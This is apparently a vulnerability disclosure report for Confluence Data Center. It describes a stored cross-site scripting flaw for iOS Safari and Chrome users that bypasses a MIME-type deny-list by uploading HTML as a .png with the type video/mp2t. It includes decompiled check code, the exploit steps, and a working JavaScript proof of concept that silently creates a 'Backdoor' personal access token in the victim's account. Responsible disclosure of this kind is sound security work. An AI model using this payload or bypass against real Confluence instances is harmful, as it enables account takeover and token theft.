Summary by Atlassian
Cross-Site Scripting Vulnerability in Confluence on Safari or Chrome (iOS/iPhone)
Cross-Site Scripting Vulnerability in Confluence on Safari or Chrome (iOS/iPhone)
This bug as founded using source code analysis of the Confluence application, but I developed a browser fuzzer to find how to exploit it.
Confluence Data Center
Other
confluence.local/download/attachments/{{ID}}/{{FileName}}
CVSS: High 7.9 https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:L
This bug only affects users that access Confluence through an iPhone or iPad using either Safari or Chrome.
This is a new research I'm doing in content-type, by now I found that is possible to bypass your current deny-list approach using a content-type that can interpret HTML in WebKit, this should affect the users that log in Confluence using a iPhone, this is a proof that is really hard to implement a deny-list and the focus should be in a more restrict approach like an allow-list.
Because this is a new research, I request that this XSS vector don't get disclosed before I publish my research.
This bug occurs because of a problem in the way that Confluence handles files that are uploaded in the comment section of any personal page.
When we upload a file, Confluence will take as a parameter the filename (with the extension) and its mime-type in the file upload request "POST /plugins/drag-and-drop/upload.action".
If I try to upload a HTML file:
As we can see, the application allows us to upload this file, it gets stored, and we receive a URL to it.
But if we try to access this URL in any browser, the file will be downloaded and not loaded by the browser as HTML.
We can check the HTTP request to understand why this file is being downloaded.
As we can see, the application is responding with the header "Content-Disposition: attachment" This will force the browser to download the file and not show it. Also, we can see the header "X-Content-Type-Options: nosniff", this header will not allow the browser to "guess" the content-type and the browser will be forced to use the Content-Type header from the HTTP response to parse the content.
But if we upload a .txt file we are able to see it without downloading.
If we look at this request through a proxy, we can see that the "Content-Disposition" header is now using the inline value. This allows the browser to show the file if it can understand the content-type (in this case text/plain).
The way Confluence choose if the Content-Disposition should be inline or attachment comes from the method guessContentDispositionHeader() that can be found in the com.atlassian.http_atlassian-http-4.1.0.jar file in the path /com/atlassian/http/mime/ContentDispositionHeaderGuesser.class
This method will call this.isExecutableContent() with the filename and with the mime-type that we saved the file. Based on the return of this method, the application will decide if the Content-Disposition should be attachment or inline.
public String guessContentDispositionHeader(String fileName, String mimeContentType, String userAgent) {
DownloadPolicy downloadPolicy = this.downloadPolicyProvider.getPolicy();
boolean forceDownload = false;
if (downloadPolicy.equals(DownloadPolicy.Insecure)) {
return "inline";
} else if (!downloadPolicy.equals(DownloadPolicy.Secure) && !downloadPolicy.equals(DownloadPolicy.WhiteList)) {
forceDownload = this.isExecutableContent(fileName, mimeContentType);
if (BrowserUtils.isIE(userAgent) && this.isTextContentType(mimeContentType)) {
forceDownload = true;
}
if (forceDownload && log.isDebugEnabled()) {
log.debug("\"" + fileName + "\" (" + mimeContentType + ") presents as executable content, forcing download.");
}
return forceDownload ? "attachment" : "inline";
} else {
return "attachment";
}
}
The method isExecutableContent() is just a wrapper to hostileExtensionDetector.isExecutableContent().
private boolean isExecutableContent(String name, String mimeContentType) {
return this.hostileExtensionDetector.isExecutableContent(name, mimeContentType);
}
Then hostileExtensionDetector.isExecutableContent() will call two functions, isExecutableFileExtension() and isExecutableContentType(). To be able to reach the Content-Disposition inline, both should return false.
public boolean isExecutableContent(String fileName, String contentType) {
return this.isExecutableFileExtension(fileName) || this.isExecutableContentType(contentType);
}
First, isExecutableFileExtension() will compare the file name with an array of malicious file extensions; if the filename contains any of the file extensions in the array, the function will return true, and the Content-Disposition will be set to attachment. To bypass this check we can use any other file extensions like .png for example; this will not affect the web browser behavior.
The isExecutableContentType() function will do something similar and compare the file mime-type with a list of malicious types and return true if it finds any match.
public boolean isExecutableContentType(String contentType) {
boolean isExecutableContentType = false;
if (StringUtils.isBlank(contentType)) {
return true;
} else if (!VALID_MIME_TYPE.matcher(contentType.toLowerCase()).matches()) {
return true;
} else {
for(String executableContentType : this.executableContentTypes) {
if (contentType.toLowerCase(Locale.US).contains(executableContentType)) {
isExecutableContentType = true;
break;
}
}
return isExecutableContentType;
}
}
This is a list with all the mime-types Confluence understands as bad.
0 = "image/svg+xml"
1 = "application/pdf"
2 = "image/svg-xml"
3 = "message/rfc822"
4 = "multipart/x-mixed-replace"
5 = "text/xml-external-parsed-entity"
6 = "text/vtt"
7 = "application/atom+xml"
8 = "text/webviewhtml"
9 = "application/x-shockwave-flash"
10 = "text/html-sandboxed"
11 = "text/html"
12 = "application/rdf+xml"
13 = "application/octet-stream"
14 = "text/vnd.wap.wml"
15 = "text/xsl"
16 = "video/x-flv"
17 = "application/vnd.wap.xhtml+xml"
18 = "application/mathml+xml"
19 = "application/xml"
20 = "application/xml-dtd"
21 = "application/x-cab"
22 = "text/xml"
23 = "application/futuresplash"
24 = "application/xml-external-parsed-entity"
25 = "text/rdf"
26 = "text/xhtml"
27 = "application/xhtml+xml"
So to bypass this we just need to use a different file extension and a different mime-type
During my research in mime-types I found that the video/mp2t is a mime-type that is interpreted as HTML by WebKit mobile based browsers (Safari and Chrome in iOS), this is just one example that a deny-list is not the best approach for this situation, different devices may support different mime-types that can be interpreted as HTML or XML.
To exploit this bug we need to create an HTML file using any file extension that is not in the deny-list, I will use .png.
When uploading the file, we need to intercept the request and change the mimeType GET parameter to video/mp2t.
The file is uploaded to http://localhost:8090/download/attachments/163936/alert.png?version=2&modificationDate=1737506251465&api=v2 (to access from my iPhone device, I should use the 192.168.0.108 IP address). Now I need to open this link using an iPhone or another iOS-based device. I'm using the iPhone virtual machine that comes with XCode, but I also tested in a real iPhone 15, and it worked as well.
As per the documentation.
"Personal access tokens (PATs) are a secure way to use scripts and integrate external applications with your Atlassian application. If an external system is compromised, you simply revoke the token instead of changing the password and consequently changing it in all scripts and integrations.
Personal access tokens are a safe alternative to using username and password for authentication with various services. "
We can use a PAT to authenticate in the Confluence API.
A PAT token is created with a request to "POST /rest/pat/latest/tokens".
We then can use this token in a curl request to access the Confluence rest API.
curl -H 'Authorization: Bearer NDMxMTI2NjM3Nzk2OhAVOxGM+a7vpoX5HRsw8yOVLk2/' http://localhost:8090/rest/api/user?username=admin ; echo
Because we can use the PAT token to authenticate in Confluence, it is a good target for our XSS payload.
Our PoC will create a new PAT token in the victim account and show it in a alert box, but of course we could easly send this PAT token to a remote server controled by us.
First, we need to create a .png file to store our XSS payload. I will call mine token.png
token.png:
<script>
(async () => {
const rawResponse = await fetch("/rest/pat/latest/tokens",
{
headers: {
'Accept': 'application/json',
'Content-Type': 'application/json'
},
method: "POST",
body: JSON.stringify({name:"Backdoor", expirationDuration:90})
});
const content = await rawResponse.json();
alert(content.rawToken);
})();
</script>
Then we need to upload this file and change the mimeType parameter to video/mp2t.
Select our payload and click send.
Now change the mimeType parameter to video/mp2t using a proxy.
As we can see, the file is saved without any problem. The URL we need to send to the victim iPhone's is http://192.168.0.108:8090/download/attachments/163936/token.png?version=1&modificationDate=1737508504777&api=v2
And when the victim opens the link, a new PAT token will appear in the alert box.
Below is a PoC video showing the victim opening the malicious link in an iPhone and a new PAT token being created in his account.